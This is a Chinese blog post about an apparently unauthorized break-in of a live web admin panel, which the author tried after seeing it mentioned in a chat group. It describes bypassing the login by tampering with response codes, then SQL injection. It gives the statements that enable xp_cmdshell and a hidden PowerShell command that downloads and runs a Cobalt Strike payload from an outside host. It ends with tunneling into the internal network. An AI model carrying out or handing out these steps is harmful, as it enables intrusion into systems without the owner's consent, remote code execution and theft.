您的位置 首页 网络安全

一次简单的渗透

ps: 日常水群,无意间看见小伙伴在讨论一个站点,随后随手试试。目标站点:http://47.xx.xxx.x…

ps: 日常水群,无意间看见小伙伴在讨论一个站点,随后随手试试。
目标站点:http://47.xx.xxx.xx:3001/

也是一个登录框开局,听见群里的小伙伴说存在未授权访问后台,于是尝试看一下js代码:

 $.ajax({
                    type: "get",
                    url: "admin/Api/Main.aspx?method=login&login=" + login + "&pwd=" + pwd,
                    dataType: "json",
                    success: function (d) {
                        console.log("我是d:" + d);
                        if (d.code == 1) {
                            location.href = 'admin/NumberList.html';
                        }
                        else {
                            $.messager.alert('提示', d.msg, 'error');

可以看出当输入账号和密码后,返回code=1,就可以继续下一步操作,于是burp抓包拦截返回包:

果然和预想一样出现code参数,由js代码可知,code=1即可进行下一步,改完参数后,继续抓取返回包:

继续将code=-1改为1后,成功进入后台:

但是发现没过多久(可以进行一小段时间的操作),会自动弹出到后台,于是利用进入后台的时间,再次看js代码,发现有判断登录状态的地方:

        var logInfo = {};
        checkLogin();
        //检查是否登录
        function checkLogin() {
            $.ajax({
                url: 'Api/Main.aspx?method=checkLogin',
                //dataType: 'json',//指定返回值为json类型
                async: false,
                success: function (data) {
                    logInfo = data;
                    //console.log(logInfo);
                }
            });
        }
        //注销
        function logout() {
            $.messager.confirm("系统提示:", "确定要注销登陆吗?",
                function (method) {
                    if (method) {
                        $.ajax({
                            url: 'Api/Main.aspx?method=logout',
                            dataType: 'json',
                            async: false,
                            success: function (d) {
                                location.href = "../";
                            }
                        });
                    }
                })
        }
        var logInfo = eval("(" + logInfo + ")");
        if (logInfo.code != 1) {
            alert("请先登录!");
            location.href = '../';
        } else {
            $(function () {

自我猜想的是,均由method=()的参数来控制登录状况的,如果将此参数删掉,会出现的情况:
于是再次抓包,修改第一次code后,到:asp?methon=xxx();检查页面:

删除此参数后,在抓取返回包,果然没有(code=-1,msg:cookie参数失效)的数据:

放包后成功进入后台,且所有功能均可使用:渗透人的习惯,见框就注入,或者xss(见框就插入)

反手一个’单引号,出现报错

心想肯定存在注入了,然后闭合看看,页面正常,可以确定存在,随后打了一个延时注入

既然有sql注入,在继续试试可以执行xpcmd命令不(刚开始的时候,xpcmd命令是关闭的) 使用如下命令打开xpcmd:

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

然后尝试ping dnslog:

成功执行后,就是上线cs了:
看图操作,重要是方便

获取到:

powershell.exe -nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘http://41.216.xxx.2xx:80/a’))”

由于存在单引号,无法直接执行,将payload进行base64加密:

http://www.jackson-t.ca/runtime-exec-payloads.html

加密后我们回到注入处
exec master ..xp_cmdshell’里面放base64加密好了的’

等一段时间,成功上线:

在进一步操作我们就直接sock代理,搭建隧道,进入内网漫游,传统功夫点到为止,此次渗透到处结束

本文来自网络,不代表F12sec立场,转载请注明出处:http://www.0dayhack.net/index.php/2242/
头像

作者: 钟北山

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注

CAPTCHAis initialing...

评论列表(2)

联系我们

联系我们

QQ群:884338047

在线咨询: QQ交谈

邮箱: 2676666667@qq.com

工作时间:周一至周五,9:00-17:30,节假日休息

关注微信
微信扫一扫关注我们

微信扫一扫关注我们

关注微博
返回顶部